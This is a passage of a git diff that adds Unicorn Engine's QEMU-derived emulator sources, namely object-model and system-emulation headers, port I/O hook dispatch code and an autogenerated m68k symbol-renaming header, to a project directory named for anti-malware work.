object_ref(Object *obj); + +/** + * qdef_unref: + * @obj: the object + * + * Decrease the reference count of a object. A object cannot be freed as long + * as its reference count is greater than zero. + */ +void object_unref(struct uc_struct *uc, Object *obj); + +/** + * object_property_add: + * @obj: the object to add a property to + * @name: the name of the property. This can contain any character except for + * a forward slash. In general, you should use hyphens '-' instead of + * underscores '_' when naming properties. + * @type: the type name of the property. This namespace is pretty loosely + * defined. Sub namespaces are constructed by using a prefix and then + * to angle brackets. For instance, the type 'virtio-net-pci' in the + * 'link' namespace would be 'link'. + * @get: The getter to be called to read a property. If this is NULL, then + * the property cannot be read. + * @set: the setter to be called to write a property. If this is NULL, + * then the property cannot be written. + * @release: called when the property is removed from the object. This is + * meant to allow a property to free its opaque upon object + * destruction. This may be NULL. + * @opaque: an opaque pointer to pass to the callbacks for the property + * @errp: returns an error if this function fails + * + * Returns: The #ObjectProperty; this can be used to set the @resolve + * callback for child and link properties. + */ +ObjectProperty *object_property_add(Object *obj, const char *name, + const char *type, + ObjectPropertyAccessor *get, + ObjectPropertySetAccessor *set, + ObjectPropertyRelease *release, + void *opaque, Error **errp); + +void object_property_del(struct uc_struct *uc, Object *obj, const char *name, Error **errp); + +void object_property_del_child(struct uc_struct *uc, Object *obj, Object *child, Error **errp); + +/** + * object_property_find: + * @obj: the object + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Look up a property for an object and return its #ObjectProperty if found. + */ +ObjectProperty *object_property_find(Object *obj, const char *name, + Error **errp); + +void object_unparent(struct uc_struct *uc, Object *obj); + +/** + * object_property_get: + * @obj: the object + * @v: the visitor that will receive the property value. This should be an + * Output visitor and the data will be written with @name as the name. + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Reads a property from a object. + */ +void object_property_get(struct uc_struct *uc, Object *obj, struct Visitor *v, const char *name, + Error **errp); + +/** + * object_property_set_str: + * @value: the value to be written to the property + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Writes a string value to a property. + */ +void object_property_set_str(struct uc_struct *uc, Object *obj, const char *value, + const char *name, Error **errp); + +/** + * object_property_get_str: + * @obj: the object + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Returns: the value of the property, converted to a C string, or NULL if + * an error occurs (including when the property value is not a string). + * The caller should free the string. + */ +char *object_property_get_str(struct uc_struct *uc, Object *obj, const char *name, + Error **errp); + +/** + * object_property_set_link: + * @value: the value to be written to the property + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Writes an object's canonical path to a property. + */ +void object_property_set_link(struct uc_struct *uc, Object *obj, Object *value, + const char *name, Error **errp); + +/** + * object_property_get_link: + * @obj: the object + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Returns: the value of the property, resolved from a path to an Object, + * or NULL if an error occurs (including when the property value is not a + * string or not a valid object path). + */ +Object *object_property_get_link(struct uc_struct *uc, Object *obj, const char *name, + Error **errp); + +/** + * object_property_set_bool: + * @value: the value to be written to the property + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Writes a bool value to a property. + */ +void object_property_set_bool(struct uc_struct *uc, Object *obj, bool value, + const char *name, Error **errp); + +/** + * object_property_get_bool: + * @obj: the object + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Returns: the value of the property, converted to a boolean, or NULL if + * an error occurs (including when the property value is not a bool). + */ +bool object_property_get_bool(struct uc_struct *uc, Object *obj, const char *name, + Error **errp); + +/** + * object_property_set_int: + * @value: the value to be written to the property + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Writes an integer value to a property. + */ +void object_property_set_int(struct uc_struct *uc, Object *obj, int64_t value, + const char *name, Error **errp); + +/** + * object_property_get_int: + * @obj: the object + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Returns: the value of the property, converted to an integer, or NULL if + * an error occurs (including when the property value is not an integer). + */ +int64_t object_property_get_int(struct uc_struct *uc, Object *obj, const char *name, + Error **errp); + +/** + * object_property_set: + * @obj: the object + * @v: the visitor that will be used to write the property value. This should + * be an Input visitor and the data will be first read with @name as the + * name and then written as the property value. + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Writes a property to a object. + */ +void object_property_set(struct uc_struct *uc, Object *obj, struct Visitor *v, const char *name, + Error **errp); + +/** + * object_property_parse: + * @obj: the object + * @string: the string that will be used to parse the property value. + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Parses a string and writes the result into a property of an object. + */ +void object_property_parse(struct uc_struct *uc, Object *obj, const char *string, + const char *name, Error **errp); + +/** + * object_property_get_type: + * @obj: the object + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Returns: The type name of the property. + */ +const char *object_property_get_type(Object *obj, const char *name, + Error **errp); + +/** + * object_get_root: + * + * Returns: the root object of the composition tree + */ +Object *object_get_root(struct uc_struct *uc); + +/** + * object_get_canonical_path_component: + * + * Returns: The final component in the object's canonical path. The canonical + * path is the path within the composition tree starting from the root. + */ +gchar *object_get_canonical_path_component(Object *obj); + +/** + * object_get_canonical_path: + * + * Returns: The canonical path for a object. This is the path within the + * composition tree starting from the root. + */ +gchar *object_get_canonical_path(Object *obj); + +/** + * object_resolve_path: + * @path: the path to resolve + * @ambiguous: returns true if the path resolution failed because of an + * ambiguous match + * + * There are two types of supported paths--absolute paths and partial paths. + * + * Absolute paths are derived from the root object and can follow child<> or + * link<> properties. Since they can follow link<> properties, they can be + * arbitrarily long. Absolute paths look like absolute filenames and are + * prefixed with a leading slash. + * + * Partial paths look like relative filenames. They do not begin with a + * prefix. The matching rules for partial paths are subtle but designed to make + * specifying objects easy. At each level of the composition tree, the partial + * path is matched as an absolute path. The first match is not returned. At + * least two matches are searched for. A successful result is only returned if + * only one match is found. If more than one match is found, a flag is + * returned to indicate that the match was ambiguous. + * + * Returns: The matched object or NULL on path lookup failure. + */ +Object *object_resolve_path(struct uc_struct *uc, const char *path, bool *ambiguous); + +/** + * object_resolve_path_type: + * @path: the path to resolve + * @typename: the type to look for. + * @ambiguous: returns true if the path resolution failed because of an + * ambiguous match + * + * This is similar to object_resolve_path. However, when looking for a + * partial path only matches that implement the given type are considered. + * This restricts the search and avoids spuriously flagging matches as + * ambiguous. + * + * For both partial and absolute paths, the return value goes through + * a dynamic cast to @typename. This is important if either the link, + * or the typename itself are of interface types. + * + * Returns: The matched object or NULL on path lookup failure. + */ +Object *object_resolve_path_type(struct uc_struct *uc, const char *path, const char *typename_, + bool *ambiguous); + +/** + * object_resolve_path_component: + * @parent: the object in which to resolve the path + * @part: the component to resolve. + * + * This is similar to object_resolve_path with an absolute path, but it + * only resolves one element (@part) and takes the others from @parent. + * + * Returns: The resolved object or NULL on path lookup failure. + */ +Object *object_resolve_path_component(struct uc_struct *uc, Object *parent, const gchar *part); + +/** + * object_property_add_child: + * @obj: the object to add a property to + * @name: the name of the property + * @child: the child object + * @errp: if an error occurs, a pointer to an area to store the area + * + * Child properties form the composition tree. All objects need to be a child + * of another object. Objects can only be a child of one object. + * + * There is no way for a child to determine what its parent is. It is not + * a bidirectional relationship. This is by design. + * + * The value of a child property as a C string will be the child object's + * canonical path. It can be retrieved using object_property_get_str(). + * The child object itself can be retrieved using object_property_get_link(). + */ +void object_property_add_child(Object *obj, const char *name, + Object *child, Error **errp); + +typedef enum { + /* Unref the link pointer when the property is deleted */ + OBJ_PROP_LINK_UNREF_ON_RELEASE = 0x1, +} ObjectPropertyLinkFlags; + +/** + * object_property_allow_set_link: + * + * The default implementation of the object_property_add_link() check() + * callback function. It allows the link property to be set and never returns + * an error. + */ +void object_property_allow_set_link(Object *, const char *, + Object *, Error **); + +/** + * object_property_add_link: + * @obj: the object to add a property to + * @name: the name of the property + * @type: the qobj type of the link + * @child: a pointer to where the link object reference is stored + * @check: callback to veto setting or NULL if the property is read-only + * @flags: additional options for the link + * @errp: if an error occurs, a pointer to an area to store the area + * + * Links establish relationships between objects. Links are unidirectional + * although two links can be combined to form a bidirectional relationship + * between objects. + * + * Links form the graph in the object model. + * + * The @check() callback is invoked when + * object_property_set_link() is called and can raise an error to prevent the + * link being set. If @check is NULL, the property is read-only + * and cannot be set. + * + * Ownership of the pointer that @child points to is transferred to the + * link property. The reference count for *@child is + * managed by the property from after the function returns till the + * property is deleted with object_property_del(). If the + * @flags OBJ_PROP_LINK_UNREF_ON_RELEASE bit is set, + * the reference count is decremented when the property is deleted. + */ +void object_property_add_link(Object *obj, const char *name, + const char *type, Object **child, + void (*check)(Object *obj, const char *name, + Object *val, Error **errp), + ObjectPropertyLinkFlags flags, + Error **errp); + +/** + * object_property_add_str: + * @obj: the object to add a property to + * @name: the name of the property + * @get: the getter or NULL if the property is write-only. This function must + * return a string to be freed by g_free(). + * @set: the setter or NULL if the property is read-only + * @errp: if an error occurs, a pointer to an area to store the error + * + * Add a string property using getters/setters. This function will add a + * property of type 'string'. + */ +void object_property_add_str(Object *obj, const char *name, + char *(*get)(struct uc_struct *uc, Object *, Error **), + int (*set)(struct uc_struct *uc, Object *, const char *, Error **), + Error **errp); + +/** + * object_property_add_bool: + * @obj: the object to add a property to + * @name: the name of the property + * @get: the getter or NULL if the property is write-only. + * @set: the setter or NULL if the property is read-only + * @errp: if an error occurs, a pointer to an area to store the error + * + * Add a bool property using getters/setters. This function will add a + * property of type 'bool'. + */ +void object_property_add_bool(struct uc_struct *uc, Object *obj, const char *name, + bool (*get)(struct uc_struct *uc, Object *, Error **), + int (*set)(struct uc_struct *uc, Object *, bool, Error **), + Error **errp); + +/** + * object_property_add_uint8_ptr: + * @obj: the object to add a property to + * @name: the name of the property + * @v: pointer to value + * @errp: if an error occurs, a pointer to an area to store the error + * + * Add an integer property in memory. This function will add a + * property of type 'uint8'. + */ +void object_property_add_uint8_ptr(Object *obj, const char *name, + const uint8_t *v, Error **errp); + +/** + * object_property_add_uint16_ptr: + * @obj: the object to add a property to + * @name: the name of the property + * @v: pointer to value + * @errp: if an error occurs, a pointer to an area to store the error + * + * Add an integer property in memory. This function will add a + * property of type 'uint16'. + */ +void object_property_add_uint16_ptr(Object *obj, const char *name, + const uint16_t *v, Error **errp); + +/** + * object_property_add_uint32_ptr: + * @obj: the object to add a property to + * @name: the name of the property + * @v: pointer to value + * @errp: if an error occurs, a pointer to an area to store the error + * + * Add an integer property in memory. This function will add a + * property of type 'uint32'. + */ +void object_property_add_uint32_ptr(Object *obj, const char *name, + const uint32_t *v, Error **errp); + +/** + * object_property_add_uint64_ptr: + * @obj: the object to add a property to + * @name: the name of the property + * @v: pointer to value + * @errp: if an error occurs, a pointer to an area to store the error + * + * Add an integer property in memory. This function will add a + * property of type 'uint64'. + */ +void object_property_add_uint64_ptr(Object *obj, const char *name, + const uint64_t *v, Error **Errp); + +/** + * object_property_add_alias: + * @obj: the object to add a property to + * @name: the name of the property + * @target_obj: the object to forward property access to + * @target_name: the name of the property on the forwarded object + * @errp: if an error occurs, a pointer to an area to store the error + * + * Add an alias for a property on an object. This function will add a property + * of the same type as the forwarded property. + * + * The caller must ensure that @target_obj stays alive as long as + * this property exists. In the case of a child object or an alias on the same + * object this will be the case. For aliases to other objects the caller is + * responsible for taking a reference. + */ +void object_property_add_alias(Object *obj, const char *name, + Object *target_obj, const char *target_name, + Error **errp); + +/** + * object_property_set_description: + * @obj: the object owning the property + * @name: the name of the property + * @description: the description of the property on the object + * @errp: if an error occurs, a pointer to an area to store the error + * + * Set an object property's description. + * + */ +void object_property_set_description(Object *obj, const char *name, + const char *description, Error **errp); + +/** + * object_child_foreach: + * @obj: the object whose children will be navigated + * @fn: the iterator function to be called + * @opaque: an opaque value that will be passed to the iterator + * + * Call @fn passing each child of @obj and @opaque to it, until @fn returns + * non-zero. + * + * Returns: The last value returned by @fn, or 0 if there is no child. + */ +int object_child_foreach(Object *obj, int (*fn)(Object *child, void *opaque), + void *opaque); + +/** + * container_get: + * @root: root of the #path, e.g., object_get_root() + * @path: path to the container + * + * Return a container object whose path is @path. Create more containers + * along the path if necessary. + * + * Returns: the container object. + */ +Object *container_get(struct uc_struct *uc, Object *root, const char *path); + +void container_register_types(struct uc_struct *uc); + +void register_types_object(struct uc_struct *uc); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/qom-qobject.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/qom-qobject.h new file mode 100644 index 0000000..e22e164 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/qom-qobject.h @@ -0,0 +1,42 @@ +/* + * QEMU Object Model - QObject wrappers + * + * Copyright (C) 2012 Red Hat, Inc. + * + * Author: Paolo Bonzini + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ + +#ifndef QEMU_QOM_QOBJECT_H +#define QEMU_QOM_QOBJECT_H + +#include "qom/object.h" + +/* + * object_property_get_qobject: + * @obj: the object + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Returns: the value of the property, converted to QObject, or NULL if + * an error occurs. + */ +struct QObject *object_property_get_qobject(struct uc_struct *uc, Object *obj, const char *name, + struct Error **errp); + +/** + * object_property_set_qobject: + * @obj: the object + * @ret: The value that will be written to the property. + * @name: the name of the property + * @errp: returns an error if this function fails + * + * Writes a property to a object. + */ +void object_property_set_qobject(struct uc_struct *uc, Object *obj, struct QObject *qobj, + const char *name, struct Error **errp); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/accel.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/accel.h new file mode 100644 index 0000000..3abba24 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/accel.h @@ -0,0 +1,62 @@ +/* QEMU accelerator interfaces + * + * Copyright (c) 2014 Red Hat Inc + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef HW_ACCEL_H +#define HW_ACCEL_H + +#include "qemu/typedefs.h" +#include "qom/object.h" + +typedef struct AccelState { + /*< private >*/ + Object parent_obj; +} AccelState; + +typedef struct AccelClass { + /*< private >*/ + ObjectClass parent_class; + /*< public >*/ + + const char *opt_name; + const char *name; + int (*available)(void); + int (*init_machine)(MachineState *ms); + bool *allowed; +} AccelClass; + +#define TYPE_ACCEL "accel" + +#define ACCEL_CLASS_SUFFIX "-" TYPE_ACCEL +#define ACCEL_CLASS_NAME(a) (a ACCEL_CLASS_SUFFIX) + +#define ACCEL_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, AccelClass, (klass), TYPE_ACCEL) +#define ACCEL(uc, obj) \ + OBJECT_CHECK(uc, AccelState, (obj), TYPE_ACCEL) +#define ACCEL_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, AccelClass, (obj), TYPE_ACCEL) + +int configure_accelerator(MachineState *ms); + +void register_accel_types(struct uc_struct *uc); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/cpus.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/cpus.h new file mode 100644 index 0000000..8a55e0b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/cpus.h @@ -0,0 +1,20 @@ +#ifndef QEMU_CPUS_H +#define QEMU_CPUS_H + +struct uc_struct; + +/* cpus.c */ +int resume_all_vcpus(struct uc_struct*); +void cpu_stop_current(struct uc_struct*); + +#ifndef CONFIG_USER_ONLY +/* vl.c */ +extern int smp_cores; +extern int smp_threads; +#else +/* *-user doesn't have configurable SMP topology */ +#define smp_cores 1 +#define smp_threads 1 +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/memory_mapping.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/memory_mapping.h new file mode 100644 index 0000000..dcf3598 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/memory_mapping.h @@ -0,0 +1,83 @@ +/* + * QEMU memory mapping + * + * Copyright Fujitsu, Corp. 2011, 2012 + * + * Authors: + * Wen Congyang + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ + +#ifndef MEMORY_MAPPING_H +#define MEMORY_MAPPING_H + +#include "qemu/queue.h" +#include "qemu/typedefs.h" + +typedef struct GuestPhysBlock { + /* visible to guest, reflects PCI hole, etc */ + hwaddr target_start; + + /* implies size */ + hwaddr target_end; + + /* points into host memory */ + uint8_t *host_addr; + + QTAILQ_ENTRY(GuestPhysBlock) next; +} GuestPhysBlock; + +/* point-in-time snapshot of guest-visible physical mappings */ +typedef struct GuestPhysBlockList { + unsigned num; + QTAILQ_HEAD(GuestPhysBlockHead, GuestPhysBlock) head; +} GuestPhysBlockList; + +/* The physical and virtual address in the memory mapping are contiguous. */ +typedef struct MemoryMapping { + hwaddr phys_addr; + target_ulong virt_addr; + ram_addr_t length; + QTAILQ_ENTRY(MemoryMapping) next; +} MemoryMapping; + +struct MemoryMappingList { + unsigned int num; + MemoryMapping *last_mapping; + QTAILQ_HEAD(, MemoryMapping) head; +}; + +/* + * add or merge the memory region [phys_addr, phys_addr + length) into the + * memory mapping's list. The region's virtual address starts with virt_addr, + * and is contiguous. The list is sorted by phys_addr. + */ +void memory_mapping_list_add_merge_sorted(MemoryMappingList *list, + hwaddr phys_addr, + hwaddr virt_addr, + ram_addr_t length); + +void memory_mapping_list_free(MemoryMappingList *list); + +void memory_mapping_list_init(MemoryMappingList *list); + +void guest_phys_blocks_free(GuestPhysBlockList *list); +void guest_phys_blocks_init(GuestPhysBlockList *list); +//void guest_phys_blocks_append(GuestPhysBlockList *list); + +void qemu_get_guest_memory_mapping(struct uc_struct *uc, + MemoryMappingList *list, + const GuestPhysBlockList *guest_phys_blocks, + Error **errp); + +/* get guest's memory mapping without do paging(virtual address is 0). */ +void qemu_get_guest_simple_memory_mapping(MemoryMappingList *list, + const GuestPhysBlockList *guest_phys_blocks); + +void memory_mapping_filter(MemoryMappingList *list, int64_t begin, + int64_t length); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/os-win32.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/os-win32.h new file mode 100644 index 0000000..7825c31 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/os-win32.h @@ -0,0 +1,96 @@ +/* + * win32 specific declarations + * + * Copyright (c) 2003-2008 Fabrice Bellard + * Copyright (c) 2010 Jes Sorensen + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifndef QEMU_OS_WIN32_H +#define QEMU_OS_WIN32_H + +#include +#include +#include + +/* Workaround for older versions of MinGW. */ +#ifndef ECONNREFUSED +# define ECONNREFUSED WSAECONNREFUSED +#endif +#ifndef EINPROGRESS +# define EINPROGRESS WSAEINPROGRESS +#endif +#ifndef EHOSTUNREACH +# define EHOSTUNREACH WSAEHOSTUNREACH +#endif +#ifndef EINTR +# define EINTR WSAEINTR +#endif +#ifndef EINPROGRESS +# define EINPROGRESS WSAEINPROGRESS +#endif +#ifndef ENETUNREACH +# define ENETUNREACH WSAENETUNREACH +#endif +#ifndef ENOTCONN +# define ENOTCONN WSAENOTCONN +#endif +#ifndef EWOULDBLOCK +# define EWOULDBLOCK WSAEWOULDBLOCK +#endif + +#if defined(_WIN64) +/* On w64, setjmp is implemented by _setjmp which needs a second parameter. + * If this parameter is NULL, longjump does no stack unwinding. + * That is what we need for QEMU. Passing the value of register rsp (default) + * lets longjmp try a stack unwinding which will crash with generated code. */ + +#if defined(_MSC_VER) // MSVC + +// See qemu/include/utils/setjmp-wrapper-win32.asm for details. +extern int _setjmp_wrapper(jmp_buf); + +# undef setjmp +# define setjmp(env) _setjmp_wrapper(env) + +#else // MinGW + +// Original QEMU patch. +# undef setjmp +# define setjmp(env) _setjmp(env, NULL) +#endif + +#endif +/* QEMU uses sigsetjmp()/siglongjmp() as the portable way to specify + * "longjmp and don't touch the signal masks". Since we know that the + * savemask parameter will always be zero we can safely define these + * in terms of setjmp/longjmp on Win32. + */ +#define sigjmp_buf jmp_buf +#define sigsetjmp(env, savemask) setjmp(env) +#define siglongjmp(env, val) longjmp(env, val) + +size_t getpagesize(void); + +#if !defined(EPROTONOSUPPORT) +# define EPROTONOSUPPORT EINVAL +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/sysemu.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/sysemu.h new file mode 100644 index 0000000..e5c9329 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/sysemu/sysemu.h @@ -0,0 +1,27 @@ +#ifndef SYSEMU_H +#define SYSEMU_H +/* Misc. things related to the system emulator. */ + +#include "qemu/timer.h" +#include "qapi/error.h" + +/* vl.c */ + +struct uc_struct; + +int runstate_is_running(void); +typedef struct vm_change_state_entry VMChangeStateEntry; + +#define VMRESET_SILENT false +#define VMRESET_REPORT true + +int vm_start(struct uc_struct*); + +void qemu_system_reset_request(struct uc_struct*); +void qemu_system_shutdown_request(void); +void qemu_system_powerdown_request(void); +void qemu_system_reset(bool report); + +extern int smp_cpus; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/ioport.c b/ai_anti_malware/unicorn/unicorn-master/qemu/ioport.c new file mode 100644 index 0000000..336b43d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/ioport.c @@ -0,0 +1,154 @@ +/* + * QEMU System Emulator + * + * Copyright (c) 2003-2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +/* + * splitted out ioport related stuffs from vl.c. + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "exec/ioport.h" +#include "exec/memory.h" +#include "exec/address-spaces.h" + +#include "uc_priv.h" + +//#define DEBUG_IOPORT + +#ifdef DEBUG_IOPORT +# define LOG_IOPORT(...) qemu_log_mask(CPU_LOG_IOPORT, ## __VA_ARGS__) +#else +# define LOG_IOPORT(...) do { } while (0) +#endif + +typedef struct MemoryRegionPortioList { + MemoryRegion mr; + void *portio_opaque; + MemoryRegionPortio ports[]; +} MemoryRegionPortioList; + +static uint64_t unassigned_io_read(struct uc_struct* uc, void *opaque, hwaddr addr, unsigned size) +{ + return 0-1ULL; +} + +static void unassigned_io_write(struct uc_struct* uc, void *opaque, hwaddr addr, uint64_t val, + unsigned size) +{ +} + +const MemoryRegionOps unassigned_io_ops = { + unassigned_io_read, + unassigned_io_write, + DEVICE_NATIVE_ENDIAN, +}; + +void cpu_outb(struct uc_struct *uc, pio_addr_t addr, uint8_t val) +{ + //LOG_IOPORT("outb: %04"FMT_pioaddr" %02"PRIx8"\n", addr, val); + // Unicorn: call registered OUT callbacks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (hook->insn == UC_X86_INS_OUT) + ((uc_cb_insn_out_t)hook->callback)(uc, addr, 1, val, hook->user_data); + } +} + +void cpu_outw(struct uc_struct *uc, pio_addr_t addr, uint16_t val) +{ + //LOG_IOPORT("outw: %04"FMT_pioaddr" %04"PRIx16"\n", addr, val); + // Unicorn: call registered OUT callbacks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (hook->insn == UC_X86_INS_OUT) + ((uc_cb_insn_out_t)hook->callback)(uc, addr, 2, val, hook->user_data); + } +} + +void cpu_outl(struct uc_struct *uc, pio_addr_t addr, uint32_t val) +{ + //LOG_IOPORT("outl: %04"FMT_pioaddr" %08"PRIx32"\n", addr, val); + // Unicorn: call registered OUT callbacks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (hook->insn == UC_X86_INS_OUT) + ((uc_cb_insn_out_t)hook->callback)(uc, addr, 4, val, hook->user_data); + } +} + +uint8_t cpu_inb(struct uc_struct *uc, pio_addr_t addr) +{ + //LOG_IOPORT("inb : %04"FMT_pioaddr" %02"PRIx8"\n", addr, val); + // Unicorn: call registered IN callbacks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (hook->insn == UC_X86_INS_IN) + return ((uc_cb_insn_in_t)hook->callback)(uc, addr, 1, hook->user_data); + } + + return 0; +} + +uint16_t cpu_inw(struct uc_struct *uc, pio_addr_t addr) +{ + //LOG_IOPORT("inw : %04"FMT_pioaddr" %04"PRIx16"\n", addr, val); + // Unicorn: call registered IN callbacks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (hook->insn == UC_X86_INS_IN) + return ((uc_cb_insn_in_t)hook->callback)(uc, addr, 2, hook->user_data); + } + + return 0; +} + +uint32_t cpu_inl(struct uc_struct *uc, pio_addr_t addr) +{ + //LOG_IOPORT("inl : %04"FMT_pioaddr" %08"PRIx32"\n", addr, val); + // Unicorn: call registered IN callbacks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (hook->insn == UC_X86_INS_IN) + return ((uc_cb_insn_in_t)hook->callback)(uc, addr, 4, hook->user_data); + } + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/m68k.h b/ai_anti_malware/unicorn/unicorn-master/qemu/m68k.h new file mode 100644 index 0000000..dffdf7e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/m68k.h @@ -0,0 +1,3020 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_M68K_H +#define UNICORN_AUTOGEN_M68K_H +#define arm_release arm_release_m68k +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_m68k +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_m68k +#define use_idiv_instructions_rt use_idiv_instructions_rt_m68k +#define tcg_target_deposit_valid tcg_target_deposit_valid_m68k +#define helper_power_down helper_power_down_m68k +#define check_exit_request check_exit_request_m68k +#define address_space_unregister address_space_unregister_m68k +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_m68k +#define phys_mem_clean phys_mem_clean_m68k +#define tb_cleanup tb_cleanup_m68k +#define memory_map memory_map_m68k +#define memory_map_ptr memory_map_ptr_m68k +#define memory_unmap memory_unmap_m68k +#define memory_free memory_free_m68k +#define free_code_gen_buffer free_code_gen_buffer_m68k +#define helper_raise_exception helper_raise_exception_m68k +#define tcg_enabled tcg_enabled_m68k +#define tcg_exec_init tcg_exec_init_m68k +#define memory_register_types memory_register_types_m68k +#define cpu_exec_init_all cpu_exec_init_all_m68k +#define vm_start vm_start_m68k +#define resume_all_vcpus resume_all_vcpus_m68k +#define 